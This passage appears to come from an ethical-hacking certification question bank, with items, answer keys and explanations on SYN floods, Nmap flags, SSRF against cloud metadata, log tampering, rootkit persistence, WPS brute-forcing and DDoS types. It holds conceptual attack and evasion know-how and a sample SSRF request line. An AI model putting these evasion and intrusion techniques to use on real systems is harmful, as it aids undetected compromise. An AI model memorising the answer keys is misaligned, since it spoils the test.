Option B (White-box test) is wrong because it requires full knowledge of the internal architecture, source code, and network design, which contradicts the 'no prior knowledge' condition. Option C (Red team engagement) is wrong because it is a broader, goal-oriented simulation that often includes social engineering and physical breaches, not solely an external web application test without internal knowledge. Option D (Gray-box test) is wrong because it involves partial knowledge (e.g., credentials or API documentation), which the company explicitly lacks.

775
MCQmedium

A network administrator notices an unusually high number of half-open TCP connections to the company's web server. The source IPs are spoofed. Which type of attack is MOST likely occurring?

A.Smurf attack
B.UDP flood
C.SYN flood
D.ICMP flood
AnswerC

A SYN flood is a classic denial-of-service attack that exploits the TCP three-way handshake. The attacker sends a large volume of TCP SYN (synchronize) requests to a target server but never completes the handshake by sending the final ACK (acknowledgment). This leaves numerous "half-open" connections in the server's memory, exhausting its connection table and preventing legitimate clients from establishing new connections, thus denying service.

Why this answer

A SYN flood attack exploits the TCP three-way handshake by sending a high volume of SYN packets with spoofed source IPs to the target server. The server responds with SYN-ACK packets and allocates resources for each half-open connection, exhausting its connection queue and preventing legitimate connections. The description of half-open TCP connections with spoofed source IPs is the classic signature of a SYN flood.

Exam trap

The trap here is that candidates confuse a SYN flood with a Smurf attack because both use spoofed IPs, but Smurf attacks rely on ICMP broadcast amplification, not TCP half-open connections.

How to eliminate wrong answers

Option A is wrong because a Smurf attack uses ICMP echo requests sent to a network's broadcast address with a spoofed victim IP, causing all hosts to reply to the victim, not half-open TCP connections. Option B is wrong because a UDP flood sends large numbers of UDP packets to random ports, overwhelming the target's bandwidth or processing, but does not involve TCP handshake states or half-open connections. Option D is wrong because an ICMP flood overwhelms the target with ICMP packets (e.g., ping floods), consuming bandwidth or CPU, but does not create half-open TCP connections.

776
MCQhard

A security team detects unusual outbound traffic from a host that appears to be a reverse shell. Which of the following Nmap features would be MOST effective for identifying the service running on the listening port of the command-and-control server?

A.UDP scan using the -sU flag
B.Nmap Scripting Engine (NSE) with the http-enum script
C.OS fingerprinting using the -O flag
D.Service version detection using the -sV flag
AnswerD

Service version detection using the -sV flag is the most appropriate technique as it actively probes open ports, collects service banners, and compares the responses against Nmap's extensive nmap-service-probes database. This method allows for the precise identification of the service name, version, and sometimes even the underlying protocol, even if it's an unusual or custom service like a reverse shell listening on a non-standard port. This direct service identification is critical for understanding the nature of the unusual outbound traffic.

Why this answer

The -sV flag instructs Nmap to perform service version detection by probing open ports and analyzing the responses to determine the exact application and version running on the listening port. In a reverse shell scenario, identifying the service (e.g., a specific SSH, HTTP, or custom listener) on the C2 server is critical for understanding the attack vector and planning remediation.

Exam trap

The trap here is that candidates confuse OS fingerprinting (-O) with service version detection (-sV), thinking that identifying the OS will reveal the service, but the CEH exam emphasizes that -sV is the dedicated flag for service and version identification on listening ports.

How to eliminate wrong answers

Option A is wrong because a UDP scan (-sU) is used to discover UDP services, but reverse shells typically use TCP for reliable communication, and UDP scanning would not effectively identify a TCP-based listening service. Option B is wrong because the http-enum script is designed to enumerate directories and files on HTTP/HTTPS services, but the C2 server may not be running a web service, and this script does not perform general service identification. Option C is wrong because OS fingerprinting (-O) determines the operating system of the target host, not the specific service or application version running on a listening port, which is irrelevant for identifying the C2 service.

777
MCQeasy

Which tool is specifically designed to create fake login pages for phishing campaigns and can be integrated with Metasploit?

A.Social Engineering Toolkit (SET)
B.Nmap
C.Wireshark
D.Ettercap
AnswerA

The Social Engineering Toolkit (SET) is explicitly designed for various social engineering attacks, including the creation of convincing fake login pages. Its "Web Attack Vectors" module, specifically the "Credential Harvester Attack," allows an attacker to clone legitimate websites, including their login forms. This cloned page then captures any credentials entered by unsuspecting victims, forwarding them to the attacker while often redirecting the user to the actual legitimate site to avoid suspicion.

Why this answer

The Social Engineering Toolkit (SET) is specifically designed to automate social engineering attacks, including the creation of fake login pages (credential harvesting) for phishing campaigns. It includes a built-in 'Website Attack Vectors' module that can clone legitimate sites and capture submitted credentials, and it offers direct integration with Metasploit to deliver payloads or establish reverse shells upon credential submission.

Exam trap

The CEH exam often tests the distinction between general-purpose tools (like Nmap or Wireshark) and specialized social engineering frameworks, leading candidates to confuse a network attack tool (Ettercap) with a phishing-specific tool like SET.

How to eliminate wrong answers

Option B is wrong because Nmap is a network scanning and reconnaissance tool used for port discovery and service enumeration, not for creating phishing pages or social engineering attacks. Option C is wrong because Wireshark is a network protocol analyzer used for packet capture and traffic inspection, not for generating fake login pages or integrating with Metasploit for phishing. Option D is wrong because Ettercap is a man-in-the-middle attack tool focused on ARP poisoning and packet sniffing on local networks, not for crafting phishing pages or credential harvesting via fake login forms.

778
MCQmedium

A security analyst observes the following log entry on a web server: 'GET /?url=http://169.254.169.254/latest/meta-data/ HTTP/1.1'. This request appears to originate from a compromised web application. Which cloud attack technique is being attempted?

A.Server-Side Request Forgery (SSRF)
B.SQL Injection
C.Container escape
D.Cross-Site Scripting (XSS)
AnswerA

Server-Side Request Forgery (SSRF) occurs when a web server is tricked into making requests to an arbitrary domain specified by an attacker. The log entry showing a request to `http://169.254.169.254/latest/meta-data/iam/security-credentials/` is a classic example targeting a cloud instance metadata service. This allows the attacker to obtain sensitive information, such as temporary IAM credentials, which can then be used to escalate privileges within the cloud environment.

Why this answer

The IP address 169.254.169.254 is the AWS instance metadata service endpoint. An attacker using a Server-Side Request Forgery (SSRF) vulnerability can force the server to request this URL and retrieve sensitive instance metadata, such as IAM credentials.

779
MCQhard

An attacker sends a TCP SYN packet to a port and receives a TCP RST packet in response. According to Nmap's port state classification, what is the state of this port?

A.Filtered
B.Unfiltered
C.Closed
D.Open
AnswerC

When a TCP SYN packet is sent to a port that is not actively listening for connections, the target host's TCP/IP stack responds with a TCP RST (Reset) packet. This RST packet serves to immediately terminate the connection attempt, signaling to the sender that there is no application bound to that specific port. This is the standard and expected behavior for a closed port, making 'Closed' the correct answer when an RST is received after a SYN.

Why this answer

When Nmap sends a TCP SYN packet to a port and receives a TCP RST packet in response, it indicates that the port is reachable but no service is listening on it. Per RFC 793, a RST is sent when a SYN arrives on a closed port, so Nmap classifies this port as 'closed'.

Exam trap

EC-Council often tests the misconception that a RST response means the port is 'filtered' or 'open', but the correct interpretation per Nmap's classification is that a RST directly indicates a 'closed' port.

How to eliminate wrong answers

Option A is wrong because 'filtered' means the probe was dropped or blocked by a firewall or packet filter (no response or ICMP unreachable), not a TCP RST. Option B is wrong because 'unfiltered' is a special state used only in ACK scans (e.g., -sA) where the port is reachable but its open/closed status cannot be determined; it does not apply to a SYN scan receiving a RST. Option D is wrong because an 'open' port would respond with a SYN-ACK, not a RST.

780
MCQmedium

Refer to the exhibit. An analyst runs an Nmap scan and finds these services. Which known vulnerability is most likely to be successfully exploited?

A.CVE-2021-41773 (Apache Path Traversal)
B.CVE-2017-5638 (Struts2 RCE)
C.CVE-2014-0160 (Heartbleed)
D.CVE-2020-1472 (Zerologon)
AnswerA

This is the correct vulnerability because Apache HTTP Server version 2.4.49, as implied by the Nmap scan, is specifically susceptible to CVE-2021-41773. This critical path traversal vulnerability allows an attacker to map URLs to files outside the expected document root, potentially leading to information disclosure or, under certain configurations (e.g., if mod_cgi is enabled), remote code execution. The Nmap scan likely identified the precise Apache version, directly correlating it to this known flaw.

Why this answer

The exhibit shows Apache HTTP Server on port 80, which is vulnerable to CVE-2021-41773, a path traversal and file disclosure flaw in Apache HTTP Server 2.4.49. This vulnerability allows an attacker to use a specially crafted URL to traverse directories outside the document root, potentially reading sensitive files like /etc/passwd or executing arbitrary code if CGI scripts are enabled. The presence of Apache on port 80 directly aligns with this vulnerability, making it the most likely to be successfully exploited.

Exam trap

EC-CEH often tests the ability to match a specific service (e.g., Apache HTTP on port 80) with its corresponding CVE, rather than assuming a generic web vulnerability, so candidates may incorrectly choose Heartbleed (port 443) or Struts2 (Java framework) without verifying the service type.

How to eliminate wrong answers

Option B is wrong because CVE-2017-5638 (Struts2 RCE) targets Apache Struts2, a Java-based web application framework, not the Apache HTTP Server shown on port 80; the exhibit shows no evidence of Struts2 services. Option C is wrong because CVE-2014-0160 (Heartbleed) is a vulnerability in OpenSSL versions 1.0.1 through 1.0.1f, affecting HTTPS services on port 443, but the exhibit only lists port 80 (HTTP) with no SSL/TLS service. Option D is wrong because CVE-2020-1472 (Zerologon) is a privilege escalation vulnerability in Microsoft Netlogon Remote Protocol (MS-NRPC) used in Active Directory domain controllers, which is unrelated to the Apache HTTP service on port 80.

781
MCQmedium

After compromising a system, an attacker wants to erase their tracks. They clear the Windows Event Logs using `wevtutil cl` commands. However, the logs are forwarded to a remote SIEM. Which covering tracks technique would be MOST effective to avoid detection?

A.Modify specific event log entries to remove evidence of their actions
B.Disable Windows Event Log service (EventLog)
C.Use a rootkit to hide files and processes
D.Encrypt the log files
AnswerA

Modifying specific event log entries is the most sophisticated method for post-compromise evidence removal, as it allows for targeted deletion. Attackers employ specialized tools to parse event logs, identify incriminating entries related to their activities—such as failed logins, privilege escalation, or command execution—and then selectively delete or alter these records. This technique maintains the appearance of normal system operation by leaving benign log data intact, making detection by SIEMs or forensic analysts significantly more challenging than simply clearing all logs.

Why this answer

Modifying specific event log entries directly removes the incriminating evidence without disrupting the logging pipeline. Since logs are forwarded to a remote SIEM, simply clearing or disabling local logs would trigger an alert due to a gap in log forwarding. By surgically editing only the relevant entries (e.g., using PowerShell or API calls to alter Event Log records), the attacker avoids detection while the SIEM continues to receive logs, maintaining the appearance of normal operation.

Exam trap

The trap here is that candidates often assume clearing logs (wevtutil cl) is sufficient, but the question explicitly states logs are forwarded to a remote SIEM, making any disruption to the log stream (disabling, encrypting, or clearing) a red flag, whereas targeted modification of entries is stealthier and avoids breaking the forwarding pipeline.

How to eliminate wrong answers

Option B is wrong because disabling the Windows Event Log service (EventLog) would stop all log generation and forwarding, causing the SIEM to immediately detect a missing heartbeat or log gap, which is a strong indicator of compromise. Option C is wrong because a rootkit hides files and processes but does not alter or remove existing event log entries; the incriminating log data would still be present and forwarded to the SIEM. Option D is wrong because encrypting the log files would render them unreadable locally and likely break the forwarding pipeline, again creating a detectable anomaly in the SIEM's log stream.

782
MCQhard

During a forensic investigation, an analyst retrieves a suspicious executable. Running 'strings' reveals no readable text, and VirusTotal shows zero detections. However, when executed in a sandbox, the binary connects to a remote IP and injects code into 'explorer.exe'. Which conclusion is MOST accurate?

A.The file is a worm because it connects to a remote IP
B.The file is likely a packed trojan that evades signature-based detection
C.The file is benign because static analysis found no indicators
D.The file is a false positive and the sandbox environment is compromised
AnswerB

The absence of discernible strings during static analysis and zero detections by antivirus engines strongly suggest the file is packed or heavily obfuscated to evade signature-based detection. Subsequent dynamic analysis in a sandbox environment, revealing malicious behaviors such as network connections to suspicious IPs or process injection, confirms its true malicious intent. These combined indicators are highly characteristic of a packed trojan designed to bypass initial security checks and execute its payload.

Why this answer

The absence of readable strings and zero VirusTotal detections strongly suggest the executable is packed or obfuscated, a common evasion technique used by trojans. The sandbox behavior—connecting to a remote IP and injecting code into explorer.exe—confirms malicious intent, specifically trojan-like remote access and process injection. This combination of static stealth and dynamic malicious activity indicates a packed trojan designed to bypass signature-based antivirus.

Exam trap

The trap here is that candidates assume 'no static indicators' means the file is benign, ignoring that packing is a deliberate evasion technique, and that dynamic analysis (sandbox execution) is essential to uncover hidden malicious behavior.

How to eliminate wrong answers

Option A is wrong because connecting to a remote IP alone does not define a worm; worms self-replicate and spread autonomously, whereas this file exhibits trojan behavior (remote access and code injection). Option C is wrong because static analysis (e.g., 'strings') is insufficient to declare a file benign; packed malware intentionally hides indicators, and dynamic analysis revealed malicious activity. Option D is wrong because the sandbox environment is not compromised; the binary's outbound connection and injection are consistent with malware behavior, not a false positive from a compromised sandbox.

783
Multi-Selecthard

Which THREE of the following are methods for covering tracks after compromising a system? (Select 3)

Select 3 answers
A.Installing a rootkit to hide files and processes
B.Escalating privileges to SYSTEM
C.Disabling antivirus software
D.Using steganography to hide stolen data in images
E.Clearing event logs
AnswersA, D, E

Installing a rootkit is a sophisticated method for covering tracks, as a rootkit is a collection of tools designed to obtain and maintain privileged access to a computer while actively hiding its presence. By modifying core operating system components, rootkits can conceal malicious files, running processes, network connections, and even user accounts from standard system utilities and security software. This makes it extremely difficult for forensic investigators to detect the attacker's activities and persistence mechanisms, effectively covering their tracks post-compromise.

Why this answer

Installing a rootkit is a classic method for covering tracks because it operates at the kernel or user level to intercept system calls (e.g., NtQuerySystemInformation on Windows) and hide malicious files, processes, registry keys, and network connections from standard enumeration tools like Task Manager or netstat. This prevents the victim from detecting the compromise during routine monitoring.

Exam trap

EC-CEH often tests the distinction between actions taken during the attack (privilege escalation, disabling AV) and actions taken after the attack to erase evidence (clearing logs, hiding files with rootkits, steganography), so candidates mistakenly select privilege escalation or AV disabling as track-covering methods.

784
MCQmedium

A penetration tester is assessing a web application and notices that the application reflects the User-Agent header in the response body without sanitization. What attack could be performed using this behavior?

A.Cross-Site Scripting (XSS)
B.Directory traversal
C.Server-Side Request Forgery (SSRF)
D.SQL injection
AnswerA

If a web application reflects unsanitized user-controlled input, such as the User-Agent HTTP header, directly into the HTML response, it creates a reflected Cross-Site Scripting (XSS) vulnerability. An attacker can inject malicious client-side scripts (e.g., JavaScript) into the User-Agent string. When another user's browser renders this page, the injected script executes within their browser's security context, potentially leading to session hijacking, defacement, or redirection.

Why this answer

Reflecting unsanitized input in HTTP headers can lead to reflected XSS.

785
MCQmedium

Which cloud security assessment tool is specifically designed to audit AWS environments against best practices and CIS benchmarks?

A.Pacu
B.ScoutSuite
C.Nessus
D.Metasploit
AnswerB

ScoutSuite is an open-source multi-cloud security auditing tool specifically engineered to assess the security posture of cloud environments across major providers like AWS, Azure, GCP, Alibaba Cloud, and OCI. It achieves this by leveraging cloud provider APIs to collect configuration data and then identifies security 'findings' or misconfigurations against a comprehensive set of predefined best practices and compliance rules. The tool generates an interactive HTML report, highlighting potential attack surfaces and compliance deviations within the cloud infrastructure.

Why this answer

ScoutSuite is an open-source tool that audits cloud environments (AWS, Azure, GCP) for security misconfigurations.

786
MCQeasy

A security analyst runs the command `nbtstat -A 192.168.1.105` on a Windows machine. What information is the analyst most likely trying to gather?

A.The NetBIOS name table and MAC address of the remote host
B.The LDAP directory structure of the domain
C.The SNMP community strings of the target
D.The SMB shares available on the remote host
AnswerA

The `nbtstat -a` (or `-A`) command is specifically designed to display the NetBIOS name table of a remote computer, identified by its IP address. This table includes registered NetBIOS names, their types, and crucially, the MAC address associated with the network interface. It provides valuable information for identifying systems and services relying on NetBIOS over TCP/IP, making it a direct and effective reconnaissance tool for this protocol.

Why this answer

The `nbtstat -A` command performs a NetBIOS name table lookup against the specified IP address using the NetBIOS over TCP/IP (NBT) protocol. It returns the remote host's NetBIOS name table, which includes registered names and services, along with the MAC address of the network adapter. This is a standard enumeration technique to identify the hostname, logged-in user, and other NetBIOS-related information.

Exam trap

The trap here is that candidates confuse `nbtstat -A` with `net view` or `nbtstat -a`, mistakenly thinking it lists SMB shares or uses a hostname instead of an IP address, when in fact `-A` specifically targets a remote IP and returns the NetBIOS name table and MAC.

How to eliminate wrong answers

Option B is wrong because LDAP directory structure is queried using LDAP-specific tools like `ldapsearch` or `nslookup` with SRV records, not `nbtstat`. Option C is wrong because SNMP community strings are obtained via SNMP enumeration tools like `snmpwalk` or `snmpenum`, not through NetBIOS commands. Option D is wrong because SMB shares are enumerated using commands like `net view` or tools like `smbclient`, while `nbtstat` only reveals NetBIOS names and MAC addresses, not share listings.

787
MCQmedium

During a penetration test, you capture the following 4-way handshake using airodump-ng. Which tool would you use to attempt a dictionary attack to recover the WPA2 passphrase?

A.Reaver
B.Aircrack-ng
C.Kismet
D.John the Ripper
AnswerB

Aircrack-ng can perform dictionary attacks on captured 4-way handshakes.

Why this answer

Aircrack-ng is the standard tool for cracking WPA/WPA2 handshakes using dictionary attacks.

788
Multi-Selecteasy

Which TWO of the following are characteristics of a polymorphic virus? (Choose two.)

Select 2 answers
A.Remains constant in code to ensure replication
B.Mutates its code to evade signature detection
C.Uses encryption with a variable key
D.Spreads via network shares
E.Resides in the boot sector of a hard drive
AnswersB, C

Polymorphic viruses are specifically designed with a mutation engine that generates a different, functionally identical variant of the virus body with each replication. This constant alteration of their code signature, including instruction sequences and encryption routines, makes it extremely challenging for traditional signature-based antivirus software to identify and block them. The primary goal of this mutation is to bypass detection mechanisms that rely on fixed patterns.

Why this answer

A polymorphic virus mutates its code—typically by using a mutation engine—while preserving its original functionality. This mutation changes the virus's signature each time it replicates, allowing it to evade signature-based detection by antivirus software. Option C is correct because polymorphic viruses commonly use encryption with a variable key; the virus body is encrypted, and the decryption routine mutates, so the encrypted payload looks different with each infection.

Exam trap

The trap here is that candidates often confuse 'polymorphic' with 'metamorphic' or assume that all viruses that use encryption are polymorphic, but the key distinction is that polymorphic viruses use a variable key and mutate the decryption routine, whereas simple encrypted viruses use a fixed key and do not change their decryptor.

789
MCQmedium

Which of the following tools is specifically designed to perform MAC flooding to force a switch into fail-open mode, allowing packet sniffing?

A.Ettercap
B.Wireshark
C.Nmap
D.macof
AnswerD

macof, a tool within the dsniff suite, is specifically engineered to execute MAC flooding attacks against network switches. It operates by rapidly generating and transmitting a massive number of Ethernet frames, each containing a unique, randomly generated source MAC address. This malicious activity aims to exhaust the switch's Content Addressable Memory (CAM) table, forcing the switch to enter a "fail-open" or "hub mode" state. In this state, the switch broadcasts all incoming traffic to every connected port, thereby allowing an attacker to passively sniff all network communications.

Why this answer

The macof tool (part of the dsniff suite) is specifically designed to perform MAC flooding attacks. It floods a switch with thousands of random MAC addresses, exhausting the Content Addressable Memory (CAM) table. When the CAM table is full, the switch enters fail-open mode and begins flooding all frames out all ports, effectively turning it into a hub and allowing an attacker to sniff traffic that was not originally destined for their port.

Exam trap

The trap here is that candidates often confuse MAC flooding with ARP poisoning, and mistakenly choose Ettercap (which is famous for ARP spoofing) instead of recognizing that macof is the dedicated tool for CAM table overflow attacks.

How to eliminate wrong answers

Option A is wrong because Ettercap is a comprehensive man-in-the-middle (MITM) attack toolkit that supports ARP poisoning, DNS spoofing, and other interception techniques, but it does not perform MAC flooding as its primary or designed function. Option B is wrong because Wireshark is a network protocol analyzer used for capturing and inspecting packets; it has no capability to generate traffic or perform MAC flooding. Option C is wrong because Nmap is a network scanning and reconnaissance tool used for port scanning, service detection, and OS fingerprinting; it is not designed to flood a switch's CAM table.

790
MCQmedium

An attacker performs a password spraying attack against a web application. Which of the following BEST describes this technique?

A.Using a list of compromised credentials from a data breach
B.Trying many passwords for a single account
C.Trying a few common passwords against many accounts
D.Using automated tools to bypass CAPTCHA
AnswerC

This is the precise definition of a password spraying attack. Attackers employ this technique by taking a small list of commonly used passwords (e.g., 'Password123', 'Summer2023!') and attempting each of these passwords against a large number of different user accounts within the same system. The primary goal is to avoid triggering account lockout thresholds, which are typically set per-account, by only attempting one or two passwords per user before moving on to the next account.

Why this answer

Password spraying uses a few common passwords against many accounts to avoid account lockout.

791
MCQmedium

Which Google dork would a penetration tester use to find login pages that are indexed by Google?

A.filetype:xls username password
B.intitle:"index of"
C.inurl:login
D.site:example.com intext:password
AnswerC

The `inurl:login` dork instructs Google to return results where the string "login" appears anywhere within the URL path or filename. Web developers commonly incorporate terms like "login," "signin," or "authenticate" into the URL structure to designate their authentication pages. This makes `inurl:login` a highly precise and efficient method for directly identifying and locating the entry points for user authentication within various web applications.

Why this answer

The Google dork 'inurl:login' specifically searches for URLs containing the word 'login', which commonly appear in login page paths (e.g., /login.php, /login.aspx). This allows a penetration tester to quickly identify indexed login portals for further reconnaissance, such as testing for default credentials or brute-force attacks.

Exam trap

The trap here is that candidates often confuse 'inurl:login' with 'intitle:login' or 'intext:login', but 'inurl:' is the precise operator for finding login pages by their URL structure, while 'intitle:' and 'intext:' target page titles and body content, respectively, which are less reliable for this specific purpose.

How to eliminate wrong answers

Option A is wrong because 'filetype:xls username password' targets Excel files that may contain credentials, not login pages. Option B is wrong because 'intitle:"index of"' reveals directory listings (e.g., open Apache indexes), not login pages. Option D is wrong because 'site:example.com intext:password' searches for pages containing the word 'password' in their body text, which could be any page (e.g., password reset forms or help pages), not specifically login pages.

792
MCQmedium

In a cloud environment, which of the following is an example of a Server-Side Request Forgery (SSRF) attack?

A.An attacker exploits a web application to send HTTP requests from the server to an internal metadata endpoint
B.An attacker intercepts traffic between a load balancer and backend servers
C.An attacker uses a SQL injection to extract database contents
D.An attacker uploads a malicious file to an S3 bucket that executes code on the server
AnswerA

This scenario perfectly illustrates Server-Side Request Forgery (SSRF). The attacker manipulates a vulnerable web application to force the server itself to initiate HTTP requests to an arbitrary internal or external destination. In a cloud environment, targeting the internal metadata service (e.g., http://169.254.169.254/latest/meta-data/) is a common and critical SSRF exploitation technique, allowing the retrieval of sensitive information like IAM role credentials. This effectively turns the compromised server into a proxy for internal network reconnaissance and privilege escalation.

Why this answer

SSRF occurs when an attacker tricks the server into making requests to internal resources, such as a cloud metadata service, to obtain credentials.

793
Multi-Selecthard

Which TWO of the following are examples of hybrid password attacks? (Select 2 correct answers)

Select 2 answers
A.Using a wordlist to try every possible password in the list
B.Using a dictionary file and appending random numbers to each word
C.Using a set of rules with Hashcat to modify dictionary words (e.g., leet speak substitutions)
D.Generating all possible character combinations up to a certain length
E.Cracking passwords using precomputed rainbow tables
AnswersB, C

This is a classic example of a hybrid password attack, combining elements of a dictionary attack with a targeted brute-force component. By taking words from a dictionary file and systematically appending numerical sequences (e.g., 'password123', 'summer2024'), the attack efficiently targets common user password patterns that involve adding digits to memorable words. This method significantly expands the attack surface beyond a simple dictionary without resorting to a full, computationally expensive brute-force approach.

Why this answer

A hybrid password attack combines a dictionary or wordlist with additional modifications, such as appending random numbers to each word. This approach leverages common password patterns where users often add digits to a base word to meet complexity requirements, making it more effective than a simple dictionary attack.

Exam trap

EC-Council often tests the distinction between hybrid attacks and other attack types, and the trap here is that candidates may confuse a dictionary attack (Option A) with a hybrid attack, or mistake brute-force (Option D) or rainbow tables (Option E) as hybrid methods, when in fact hybrid attacks specifically combine a dictionary with rule-based modifications or appendages.

794
Multi-Selectmedium

Which TWO of the following tools are used for cloud security auditing or exploitation?

Select 2 answers
A.ScoutSuite
B.John the Ripper
C.Pacu
D.Nessus
E.Aircrack-ng
AnswersA, C

ScoutSuite is a security auditing tool for cloud environments.

Why this answer

ScoutSuite is an auditing tool and Pacu is an exploitation framework for cloud environments.

795
MCQeasy

A penetration tester discovers that a target Windows system has port 445 open and responds to SMB requests. Which tool should the tester use to enumerate users, shares, and OS information from this system?

A.Nikto
B.Hydra
C.Nmap
D.enum4linux
AnswerD

enum4linux is a dedicated command-line tool specifically designed for enumerating information from Windows and Samba hosts using NetBIOS and SMB protocols. It effectively leverages null sessions and other SMB/RPC queries to extract a wealth of data, including user lists, group memberships, share names, OS version, service pack level, and even password policies. This makes it an ideal choice for detailed reconnaissance against Windows systems to uncover potential vulnerabilities and gather intelligence.

Why this answer

enum4linux is a tool specifically designed to enumerate information from Windows and Samba systems via SMB. It leverages the SMB protocol to extract users, shares, OS details, and other system information from a target with port 445 open, making it the correct choice for this scenario.

Exam trap

The trap here is that candidates may choose Nmap because it is a versatile tool that can perform SMB enumeration with scripts, but the CEH exam expects the specialized tool (enum4linux) for this specific task, as Nmap is primarily a port scanner and not the dedicated enumeration tool.

How to eliminate wrong answers

Option A is wrong because Nikto is a web server scanner that tests for vulnerabilities in HTTP/HTTPS services, not for SMB enumeration. Option B is wrong because Hydra is a password brute-forcing tool used for online attacks against various services, not for passive enumeration of users, shares, or OS information. Option C is wrong because while Nmap can detect open ports and perform basic SMB enumeration via scripts (e.g., smb-enum-shares), it is not the dedicated tool for comprehensive SMB enumeration; enum4linux is purpose-built for this task.

796
MCQeasy

Which SNMP community string is typically used for read-only access by default on many devices?

A.snmp
B.private
C.admin
D.public
AnswerD

The "public" community string is the universally recognized and default read-only community string for SNMPv1 and SNMPv2c agents. This string allows an SNMP manager to query and retrieve various operational statistics and configuration details from a network device's Management Information Base (MIB) without the ability to alter any settings. Due to its widespread default configuration, "public" is frequently targeted by attackers seeking to gather network intelligence.

Why this answer

The default read-only community string in SNMPv1 and SNMPv2c is 'public'. This string acts as a password that allows an SNMP manager to query device MIB objects for monitoring purposes without making configuration changes. It is widely documented in RFC 1157 and is the standard default across most networking equipment.

Exam trap

The trap here is that candidates often confuse 'public' with 'private', mistakenly thinking 'private' is the read-only string, when in fact 'private' is the default read-write community string.

How to eliminate wrong answers

Option A is wrong because 'snmp' is not a standard default community string; it is occasionally used as a custom string but never as a default. Option B is wrong because 'private' is the default read-write community string, granting write access to modify device configurations, not read-only. Option C is wrong because 'admin' is a common administrative username, not an SNMP community string; SNMP community strings are separate from device login credentials.

797
MCQeasy

Which of the following tools is primarily used for automated SQL injection exploitation and database fingerprinting?

A.SQLMap
B.Nmap
C.Burp Suite
D.John the Ripper
AnswerA

SQLMap is designed for automated SQL injection.

Why this answer

SQLMap is the industry-standard tool for automating SQL injection detection and exploitation.

798
MCQmedium

A penetration tester uses the tool Reaver to target a Wi-Fi network. What vulnerability is the tester attempting to exploit?

A.WPA2 4-way handshake capture
B.WPS PIN brute-force weakness
C.Weak WEP encryption keys
D.RADIUS authentication bypass
AnswerB

Reaver is specifically designed to exploit the design flaw in Wi-Fi Protected Setup (WPS) by performing a brute-force attack against the WPS PIN. This 8-digit PIN, often split into two smaller, independently verifiable sections, significantly reduces the number of attempts required to guess it. Successful exploitation allows Reaver to recover the WPA/WPA2 Pre-Shared Key (PSK), granting unauthorized access to the network.

Why this answer

Reaver is a tool specifically designed to exploit the WPS (Wi-Fi Protected Setup) PIN brute-force vulnerability. It targets the WPS registrar's lack of rate-limiting and the fact that the PIN is split into two halves (first half 4 digits, second half 3 digits with a checksum), allowing an attacker to recover the WPS PIN and subsequently the WPA2 pre-shared key in a matter of hours.

Exam trap

EC-Council often tests the distinction between WPS PIN brute-force (Reaver) and WPA2 handshake capture (aircrack-ng), so candidates mistakenly associate any wireless attack with handshake capture rather than recognizing the specific tool-to-vulnerability mapping.

How to eliminate wrong answers

Option A is wrong because capturing a WPA2 4-way handshake is performed with tools like airodump-ng or Wireshark, not Reaver; Reaver does not capture handshakes but instead brute-forces the WPS PIN. Option C is wrong because weak WEP encryption keys are exploited using tools like aircrack-ng or WEP cracking techniques (e.g., ARP replay attacks), not Reaver, which is designed for WPS attacks on WPA/WPA2 networks. Option D is wrong because RADIUS authentication bypass typically targets enterprise 802.1X networks using tools like asleap or hostapd-wpe, not Reaver, which operates on the WPS protocol used in personal (PSK) mode.

799
MCQmedium

An IoT device uses MQTT for communication. An attacker intercepts MQTT packets and observes that the publish messages are not encrypted and contain plaintext sensor data. Which of the following is the BEST recommendation to secure MQTT traffic?

A.Base64-encode the payload
B.Switch to CoAP protocol
C.Use MQTT over TLS
D.Implement a VPN on the device
AnswerC

Using MQTT over TLS (Transport Layer Security), often referred to as MQTTS, is the standard and most effective method to secure MQTT communications against eavesdropping. TLS establishes an encrypted tunnel between the MQTT client and broker, ensuring that all data exchanged is confidential and cannot be read by unauthorized parties. Furthermore, TLS provides data integrity verification, preventing tampering, and offers server authentication through certificates, confirming the identity of the broker to the client.

Why this answer

MQTT itself does not provide encryption; using TLS (MQTT over TLS) encrypts the entire communication channel, protecting data in transit.

800
MCQhard

After gaining initial access to a Linux server, a penetration tester wants to maintain persistence by creating a backdoor. The tester decides to replace a common system binary with a trojanized version. Which of the following techniques is MOST likely to evade detection by file integrity monitoring (FIM) systems?

A.Replace the binary with a modified version that has the same file size and timestamp
B.Place the backdoor in a directory that is excluded from FIM monitoring
C.Use steganography to hide the backdoor inside an image file
D.Use a kernel-level rootkit that intercepts read operations to present the original binary's content
AnswerD

A kernel-level rootkit operates within the operating system's kernel, granting it the highest level of privilege and control. By hooking system calls, specifically `read()` operations, the rootkit can intercept requests from the FIM agent to read the compromised binary. Instead of returning the modified, malicious content, the rootkit presents the *original*, untampered content of the binary to the FIM system. This sophisticated deception ensures that the FIM system calculates the expected hash, thus reporting no integrity violation, while the malicious binary continues to execute its payload.

Why this answer

A kernel-level rootkit can intercept system calls (e.g., open, read) used by FIM tools to verify file integrity. When the FIM queries the trojanized binary, the rootkit returns the original, unmodified content, so the hash or checksum matches the baseline. This subverts detection at the kernel layer, bypassing user-space integrity checks entirely.

Exam trap

The trap here is that candidates often choose Option A, mistakenly believing that matching file size and timestamp is sufficient to evade FIM, but FIM relies on cryptographic hashes, not metadata, to detect changes.

How to eliminate wrong answers

Option A is wrong because simply matching file size and timestamp does not prevent FIM from detecting a changed cryptographic hash (e.g., SHA-256) of the binary; FIM tools compute hashes, not just metadata. Option B is wrong because placing the backdoor in an excluded directory is not a stealthy evasion technique—it relies on misconfiguration and would be obvious during a thorough audit or if the FIM policy is reviewed. Option C is wrong because steganography hides data within an image file, but replacing a system binary with an image would break system functionality and be immediately detected by FIM as a missing or altered binary.

801
Multi-Selectmedium

Which TWO of the following are examples of application layer (Layer 7) DDoS attacks? (Select 2)

Select 2 answers
A.HTTP flood
B.Smurf attack
C.SYN flood
D.UDP flood
E.Slowloris
AnswersA, E

An HTTP flood is a Layer 7 (Application Layer) Distributed Denial of Service (DDoS) attack that overwhelms a web server by sending a massive volume of legitimate-looking HTTP GET or POST requests. These requests consume the server's CPU, memory, and bandwidth resources, making it unable to respond to legitimate user traffic. Unlike lower-layer attacks, it targets the specific application protocol, mimicking normal user behavior to evade simple network-level defenses.

Why this answer

HTTP flood is a Layer 7 DDoS attack because it targets the application layer by sending seemingly legitimate HTTP GET or POST requests to overwhelm a web server's resources. Unlike network-layer attacks, HTTP flood exploits the server's ability to process requests, often mimicking normal user behavior to bypass basic rate limiting. Slowloris is also a Layer 7 attack that works by opening multiple HTTP connections and keeping them open with partial requests, exhausting the server's connection pool without completing the handshake.

Exam trap

